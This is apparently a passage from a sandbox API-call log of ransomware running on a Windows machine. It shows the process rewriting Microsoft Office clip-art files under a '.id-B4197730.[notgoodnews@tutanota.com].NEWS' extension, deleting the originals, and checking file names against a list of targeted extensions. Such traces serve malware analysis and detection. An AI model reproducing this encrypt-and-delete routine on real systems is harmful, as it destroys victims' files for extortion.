0x520 [0165.121] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.121] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.122] GetLastError () returned 0x0 [0165.122] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x3632, lpOverlapped=0x0) returned 1 [0165.132] WriteFile (in: hFile=0x4e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3640, lpOverlapped=0x0) returned 1 [0165.133] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.134] WriteFile (in: hFile=0x4e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.134] SetEndOfFile (hFile=0x4e8) returned 1 [0165.134] CloseHandle (hObject=0x4e8) returned 1 [0165.134] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.134] SetEndOfFile (hFile=0x520) returned 1 [0165.137] CloseHandle (hObject=0x520) returned 1 [0165.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0165.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.138] lstrlenW (lpString=".doc") returned 4 [0165.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.138] lstrlenW (lpString=".docx") returned 5 [0165.138] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0165.138] lstrlenW (lpString=".pdf") returned 4 [0165.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.138] lstrlenW (lpString=".xls") returned 4 [0165.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.138] lstrlenW (lpString=".xlsx") returned 5 [0165.138] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0165.138] lstrlenW (lpString=".ppt") returned 4 [0165.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.139] lstrlenW (lpString=".zip") returned 4 [0165.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.139] lstrlenW (lpString=".rar") returned 4 [0165.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.139] lstrlenW (lpString=".bz2") returned 4 [0165.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.139] lstrlenW (lpString=".7z") returned 3 [0165.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.139] lstrlenW (lpString=".dbf") returned 4 [0165.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.139] lstrlenW (lpString=".1cd") returned 4 [0165.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.139] lstrlenW (lpString=".jpg") returned 4 [0165.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.139] lstrlenW (lpString=".doc") returned 4 [0165.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0165.139] lstrlenW (lpString=".docx") returned 5 [0165.139] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0165.139] lstrlenW (lpString=".pdf") returned 4 [0165.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0165.139] lstrlenW (lpString=".xls") returned 4 [0165.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0165.139] lstrlenW (lpString=".xlsx") returned 5 [0165.139] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0165.140] lstrlenW (lpString=".ppt") returned 4 [0165.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0165.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.140] lstrlenW (lpString=".zip") returned 4 [0165.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0165.140] lstrlenW (lpString=".rar") returned 4 [0165.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0165.140] lstrlenW (lpString=".bz2") returned 4 [0165.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0165.140] lstrlenW (lpString=".7z") returned 3 [0165.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0165.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.140] lstrlenW (lpString=".dbf") returned 4 [0165.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0165.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.140] lstrlenW (lpString=".1cd") returned 4 [0165.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0165.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0165.140] lstrlenW (lpString=".jpg") returned 4 [0165.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0165.140] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.140] lstrlenW (lpString="J0099154.JPG") returned 12 [0165.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.141] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6929) returned 1 [0165.141] CloseHandle (hObject=0x520) returned 1 [0165.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220 [0165.141] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0165.142] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.142] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0165.142] GetLastError () returned 0x0 [0165.142] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1b11, lpOverlapped=0x0) returned 1 [0165.158] WriteFile (in: hFile=0x4e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1b20, lpOverlapped=0x0) returned 1 [0165.160] ReadFile (in: hFile=0x520, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.160] WriteFile (in: hFile=0x4e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.160] SetEndOfFile (hFile=0x4e8) returned 1 [0165.160] CloseHandle (hObject=0x4e8) returned 1 [0165.160] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.160] SetEndOfFile (hFile=0x520) returned 1 [0165.163] CloseHandle (hObject=0x520) returned 1 [0165.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0165.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.164] lstrlenW (lpString=".doc") returned 4 [0165.164] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.164] lstrlenW (lpString=".docx") returned 5 [0165.164] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0165.164] lstrlenW (lpString=".pdf") returned 4 [0165.164] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.164] lstrlenW (lpString=".xls") returned 4 [0165.164] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.164] lstrlenW (lpString=".xlsx") returned 5 [0165.164] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0165.164] lstrlenW (lpString=".ppt") returned 4 [0165.164] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.164] lstrlenW (lpString=".zip") returned 4 [0165.164] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.164] lstrlenW (lpString=".rar") returned 4 [0165.164] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.165] lstrlenW (lpString=".bz2") returned 4 [0165.165] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.165] lstrlenW (lpString=".7z") returned 3 [0165.165] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.165] lstrlenW (lpString=".dbf") returned 4 [0165.165] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.165] lstrlenW (lpString=".1cd") returned 4 [0165.165] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.165] lstrlenW (lpString=".jpg") returned 4 [0165.165] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.165] lstrlenW (lpString=".doc") returned 4 [0165.165] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.165] lstrlenW (lpString=".docx") returned 5 [0165.165] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0165.165] lstrlenW (lpString=".pdf") returned 4 [0165.165] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.165] lstrlenW (lpString=".xls") returned 4 [0165.165] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.165] lstrlenW (lpString=".xlsx") returned 5 [0165.165] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0165.165] lstrlenW (lpString=".ppt") returned 4 [0165.165] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.165] lstrlenW (lpString=".zip") returned 4 [0165.165] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.165] lstrlenW (lpString=".rar") returned 4 [0165.165] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.166] lstrlenW (lpString=".bz2") returned 4 [0165.166] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.166] lstrlenW (lpString=".7z") returned 3 [0165.166] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.166] lstrlenW (lpString=".dbf") returned 4 [0165.166] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.166] lstrlenW (lpString=".1cd") returned 4 [0165.166] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68 [0165.166] lstrlenW (lpString=".jpg") returned 4 [0165.166] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.166] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.166] lstrlenW (lpString="J0099155.JPG") returned 12 [0165.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.213] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=8826) returned 1 [0165.213] CloseHandle (hObject=0x4f4) returned 1 [0165.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220 [0165.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.236] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.236] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0165.246] GetLastError () returned 0x0 [0165.246] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x227a, lpOverlapped=0x0) returned 1 [0165.257] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2280, lpOverlapped=0x0) returned 1 [0165.259] ReadFile (in: hFile=0x4f4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0165.259] WriteFile (in: hFile=0x518, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0165.259] SetEndOfFile (hFile=0x518) returned 1 [0165.259] CloseHandle (hObject=0x518) returned 1 [0165.260] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.260] SetEndOfFile (hFile=0x4f4) returned 1 [0165.267] CloseHandle (hObject=0x4f4) returned 1 [0165.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0165.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0165.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.268] lstrlenW (lpString=".doc") returned 4 [0165.268] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.268] lstrlenW (lpString=".docx") returned 5 [0165.268] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0165.268] lstrlenW (lpString=".pdf") returned 4 [0165.269] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.269] lstrlenW (lpString=".xls") returned 4 [0165.269] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.269] lstrlenW (lpString=".xlsx") returned 5 [0165.269] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0165.269] lstrlenW (lpString=".ppt") returned 4 [0165.269] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.269] lstrlenW (lpString=".zip") returned 4 [0165.269] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.269] lstrlenW (lpString=".rar") returned 4 [0165.269] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.269] lstrlenW (lpString=".bz2") returned 4 [0165.269] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.269] lstrlenW (lpString=".7z") returned 3 [0165.269] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.269] lstrlenW (lpString=".dbf") returned 4 [0165.269] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.269] lstrlenW (lpString=".1cd") returned 4 [0165.269] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.269] lstrlenW (lpString=".jpg") returned 4 [0165.269] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.269] lstrlenW (lpString=".doc") returned 4 [0165.269] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0165.269] lstrlenW (lpString=".docx") returned 5 [0165.270] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0165.270] lstrlenW (lpString=".pdf") returned 4 [0165.270] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0165.270] lstrlenW (lpString=".xls") returned 4 [0165.270] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0165.270] lstrlenW (lpString=".xlsx") returned 5 [0165.270] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0165.270] lstrlenW (lpString=".ppt") returned 4 [0165.270] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0165.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.270] lstrlenW (lpString=".zip") returned 4 [0165.270] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0165.270] lstrlenW (lpString=".rar") returned 4 [0165.270] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0165.270] lstrlenW (lpString=".bz2") returned 4 [0165.270] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0165.270] lstrlenW (lpString=".7z") returned 3 [0165.270] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0165.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.270] lstrlenW (lpString=".dbf") returned 4 [0165.270] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0165.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.270] lstrlenW (lpString=".1cd") returned 4 [0165.270] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0165.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG") returned 68 [0165.270] lstrlenW (lpString=".jpg") returned 4 [0165.270] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0165.270] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0165.271] lstrlenW (lpString="J0099156.JPG") returned 12 [0165.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.271] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=13954) returned 1 [0165.271] CloseHandle (hObject=0x4f4) returned 1 [0165.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220 [0165.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.272] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.272] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0165.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 